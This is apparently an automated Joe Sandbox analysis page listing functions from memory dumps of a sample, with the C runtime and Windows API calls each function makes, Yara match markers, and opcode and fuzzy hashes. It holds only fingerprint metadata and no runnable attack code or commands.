Function 0221F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0221F01F

Part of subcall function 02231602: __FF_MSGBANNER.LIBCMT ref: 02231619
Part of subcall function 02231602: __NMSG_WRITE.LIBCMT ref: 02231620

_malloc.LIBCMT ref: 0221F02B
_wprintf.LIBCMT ref: 0221F03E
_free.LIBCMT ref: 0221F044
_free.LIBCMT ref: 0221F065
_malloc.LIBCMT ref: 0221F06D
_sprintf.LIBCMT ref: 0221F0C0
_wprintf.LIBCMT ref: 0221F0D2
_wprintf.LIBCMT ref: 0221F0DC
_free.LIBCMT ref: 0221F0E5

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: e66e6d6fce36724f08fa0e87f28dcffd884ae719a26e05bfbc28b623991f5ddb
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: C11136F2A207607AC262A3F40C11FFF7BDD9F45302F0801A9FE9DD1184EA185A149BB1

Function 02221960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022219C6
__CxxThrowException@8.LIBCMT ref: 022219F1
__CxxThrowException@8.LIBCMT ref: 02221A1A
__CxxThrowException@8.LIBCMT ref: 02221A4B
_memset.LIBCMT ref: 02221A6A
__CxxThrowException@8.LIBCMT ref: 02221A90
_malloc.LIBCMT ref: 02221AA0
_memset.LIBCMT ref: 02221AAB
_sprintf.LIBCMT ref: 02221ACE

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 0480fd547939deeccef5ee13115130ab17575cab0bb5fd5beb0d1a90ef485787
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: DD516CB1D40219BBEB11DBE1DC86FEFBBB9FB04B04F100025F909B6180EB755A158BA5

Function 0221F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0221F284
__CxxThrowException@8.LIBCMT ref: 0221F2AF
__CxxThrowException@8.LIBCMT ref: 0221F2DE
__CxxThrowException@8.LIBCMT ref: 0221F30F
_memset.LIBCMT ref: 0221F32E
__CxxThrowException@8.LIBCMT ref: 0221F354
_sprintf.LIBCMT ref: 0221F373

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 72751cdf7d93f1fd42e82e8c5ff94951e3cd325bc4bf8f1fc81f6a52b789ccc9
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 8B519FB1E50349AAEF11DFE1DD46FEEBBB9EB04704F100025F915B6180D7B5AA058BA4

Function 0221F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0221F4B7
__CxxThrowException@8.LIBCMT ref: 0221F4E2
__CxxThrowException@8.LIBCMT ref: 0221F504
__CxxThrowException@8.LIBCMT ref: 0221F535
_memset.LIBCMT ref: 0221F554
__CxxThrowException@8.LIBCMT ref: 0221F57A
_sprintf.LIBCMT ref: 0221F594

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 6b86f23302bf7ba322934a602d736be9eff00a95366d40080c48abee4a0d10e2
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 90516F71E50309BADF21DFE1DD46FEEBBB9EB04704F100129F915B6184EB74AA058BA4

Function 0040819B Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 0040819B

Part of subcall function 004039C9: EncodePointer.KERNEL32(00000000,?,004081A0,00403C79,00417EE8,00000014,00000003,00417D7C,00000003,00000001), ref: 004039CC
Part of subcall function 004039C9: __initp_misc_winsig.LIBCMT ref: 004039E7
Part of subcall function 004039C9: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00406EE2
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00406EF6
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00406F09
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00406F1C
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00406F2F
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00406F42
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00406F55
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00406F68
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00406F7B
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00406F8E
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00406FA1
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00406FB4
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00406FC7
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00406FDA
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00406FED
Part of subcall function 004039C9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00407000

__mtinitlocks.LIBCMT ref: 004081A0
__mtterm.LIBCMT ref: 004081A9
__calloc_crt.LIBCMT ref: 004081CE
__initptd.LIBCMT ref: 004081F0
GetCurrentThreadId.KERNEL32 ref: 004081F7

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: AddressProc$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm
String ID:
API String ID: 1593083391-0
Opcode ID: 2466e6ac3821ec1ea969d76f66c41eea37a914adba7a39110b1150f063fbe81f
Instruction ID: 0f50fc1858b162662d1bff8aa5812b74fe88f6af64675ff285c82150316b21be
Opcode Fuzzy Hash: 2466e6ac3821ec1ea969d76f66c41eea37a914adba7a39110b1150f063fbe81f
Instruction Fuzzy Hash: F5F09632698B121AE6247B75BD03A4B3A849F01734B21467FF5A0F51D2FF389852419C

Function 0225208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022520C6
__invoke_watson.LIBCMT ref: 02252120
_strlen.LIBCMT ref: 022520D4

Part of subcall function 02235BA8: __getptd_noexit.LIBCMT ref: 02235BA8

_strnlen.LIBCMT ref: 0225215F
__lock.LIBCMT ref: 02252170
__getenv_helper_nolock.LIBCMT ref: 0225217B

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 60b025a350fa01740e83d3f17e2e91a996928935ba553d3499a73d6d0828d97c
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: F031E8B2931336EBDB226BE49C00BAF67959F15B64F10C615ED04EB2DCDB748540CAA1

Function 022D66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 022D66DD

Part of subcall function 022359BF: __calloc_crt.LIBCMT ref: 022359E2
Part of subcall function 022359BF: __initptd.LIBCMT ref: 02235A04

__calloc_crt.LIBCMT ref: 022D6700
__get_sys_err_msg.LIBCMT ref: 022D671E
__invoke_watson.LIBCMT ref: 022D673B
__get_sys_err_msg.LIBCMT ref: 022D676D
__invoke_watson.LIBCMT ref: 022D678B

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 195beceb2ab2ac870eacc398127ff3e968c70f5bb395892c10662083fa637d92
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 6E11C47162171A6BFB227EE5AC40BFA739DDF04760F000466FD08A6648E765D9008AE4

Function 0040A4D7 Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040A4E3

Part of subcall function 00407CF0: __FF_MSGBANNER.LIBCMT ref: 00407D07
Part of subcall function 00407CF0: __NMSG_WRITE.LIBCMT ref: 00407D0E
Part of subcall function 00407CF0: HeapAlloc.KERNEL32(00530000,00000000,00000001,00000000,00000000,00000000,?,00404E54,00405CEC,00405CEC,00405CEC,00000000,?,00406D17,00000018,00417FF0), ref: 00407D33

_free.LIBCMT ref: 0040A4F6

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: ef88af322abf05f13e7178e89560ae472e70d3679028a2eb92ded267479b5fbd
Instruction ID: 04e2fd8cb6c231030411bd4fc830e6cd263c170058c14dd275010e73f7b17e4c
Opcode Fuzzy Hash: ef88af322abf05f13e7178e89560ae472e70d3679028a2eb92ded267479b5fbd
Instruction Fuzzy Hash: 6A11CAB2904311BFCB213FB5FD05A5B3B94AF04369F10453BFA45BA2D1DA3C9960869E

Function 02222670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022226DB
_memset.LIBCMT ref: 02222A30
_memset.LIBCMT ref: 02222AC0

Strings

D, xrefs: 02222AC8

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 9e43dfd2e10ff055f32f772e6374569b431b6508736e147b85de5b9c72ffcc43
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 48E15D71D1022AEACF24DFE0CD49FEEB7B8BF04304F144169E909A6194EB769A49CF54

Function 0221D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0221D8EA

Strings

(, xrefs: 0221DAE9
$, xrefs: 0221DAE2
, xrefs: 0221DADB

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 18e12efcc15b8212b7334cdf990d6b62abef512b5a68538151ee3a69cc9298c2
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 4191AC71D10219EAEF21CFE0C849BEEBBF5AF15304F144169D406B7284DBB65A48CFA5

Function 02235CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02235CF4

Strings

U, xrefs: 02235CFD

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 2de81546a9a08d9f1e3bd47ff866361e2df67fd940e29239687069930e2b62b3
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: CB215BB263430D7AEB019AE49C45BBE73ADDB49350F900165F90CCA198FF71EA508AA4

Function 0222A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0222A858
_memset.LIBCMT ref: 0222A869
_memset.LIBCMT ref: 0222A87A

Strings

p2Q, xrefs: 0222A882

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 4548f819cf05fa721a7f8beb3c83d8e4fd1b77eead0652ad120ed9afd1acc253
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: A8F0ED78698754A5F7227B90BC26B857E917B31B09F104088E1182E2E5D3FD238CA79A

Function 0225FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0225FBF1

Part of subcall function 0224169C: std::exception::_Copy_str.LIBCMT ref: 022416B5

__CxxThrowException@8.LIBCMT ref: 0225FC06

Strings

TeM, xrefs: 0225FBFE
TeM, xrefs: 0225FBE7, 0225FBFB

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 3cd2aca9c7b4cbeb1c62a993a0f4e0202a46b02cec2f1cbb44b527e4dbbc041b
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 59D067B5C1030CBBCB04EFA5D459CDDBBB9AA04744B408466A91897245EA74E3998F94

Function 0221D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0223197D: __wfsopen.LIBCMT ref: 02231988

_fgetws.LIBCMT ref: 0221D15C

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 33f3d2ee45880dfa582efd98ba17f6baac15f36af19708685b89d6f83a805c70
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 1A91A1B1D2031AEBCB25DFE4CC44BAEB7F5BF14304F140529E815A7245E7B6AA14CBA1

Function 0221D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0221D77E
_malloc.LIBCMT ref: 0221D7B2
_malloc.LIBCMT ref: 0221D7C1
_fprintf.LIBCMT ref: 0221D815

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 724a4720dfe1e748edc227a24592de93b31c656b1134eac511799c75364f0604
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: F0A16FB1C10348EBEF11EFE4C849BEEBBB6AF14304F140128D40576295D7B65A98CFA6

Function 02232AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02232B2E
__read_nolock.LIBCMT ref: 02232BFE
__filbuf.LIBCMT ref: 02232C21
_memset.LIBCMT ref: 02232C65

Part of subcall function 02235BA8: __getptd_noexit.LIBCMT ref: 02235BA8

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 264030b789cc007f18cf57b33973c5a6856e714930f47f99dc449cecc1c1f30a
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: E85193F0A20306DBDB268FF988806AE77B6BF40724F148729EC35962D8D7709D51CB40

Function 004094D4 Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00409565
_memmove.LIBCMT ref: 004095D9
___AdjustPointer.LIBCMT ref: 0040962A
_memmove.LIBCMT ref: 00409633

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: AdjustPointer_memmove
String ID:
API String ID: 1721217611-0
Opcode ID: 2e16b2f250ccf092bc100bc5d9eb0148a1e3404600b578eb5dc17a41c6227076
Instruction ID: 1023fd3ee9deae40a3897b3c4534671c901a90ee44ce970cd19e6d1d91c053ed
Opcode Fuzzy Hash: 2e16b2f250ccf092bc100bc5d9eb0148a1e3404600b578eb5dc17a41c6227076
Instruction Fuzzy Hash: E441F6726043025AEB296E66D8A1F6773A49F00324F24483FF851A72D2EB7ADC80D61D

Function 0040F0A5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040F0DB
__isleadbyte_l.LIBCMT ref: 0040F109
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00401767,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0040EC9E,00401767,00BFBBEF,00000003), ref: 0040F137
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00401767,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0040EC9E,00401767,00BFBBEF,00000003), ref: 0040F16D

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: e4bbf927e83fbc5b63aae80ba798c57606ce401034a67355da64dfdf7d8d7c96
Instruction ID: 5de92f7f2687d373adb095d426ac8a2dddb017ef45a78cb29df6fddd234c77cd
Opcode Fuzzy Hash: e4bbf927e83fbc5b63aae80ba798c57606ce401034a67355da64dfdf7d8d7c96
Instruction Fuzzy Hash: 3F31BE30604246EBDB318F35CC44BAB7BA5FF41310F15813AE854AB6D1E735AC59DB98

Function 00409926 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040994A

Part of subcall function 0040A031: __fltout2.LIBCMT ref: 0040A05A

__cftog_l.LIBCMT ref: 00409970
__cftoe_l.LIBCMT ref: 004099A2

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 2bce6dc0e508213b7da3302ed687ec5b9600952184a77534c3023291f124957a
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 5A01457240014DBBCF125E94CC01CEE3F26BB18354F54842AFA5865271D63BC9B1AB86

Function 00408E18 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00408E2F

Part of subcall function 00409446: ___AdjustPointer.LIBCMT ref: 0040948F

_UnwindNestedFrames.LIBCMT ref: 00408E46
___FrameUnwindToState.LIBCMT ref: 00408E58
CallCatchBlock.LIBCMT ref: 00408E7C

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

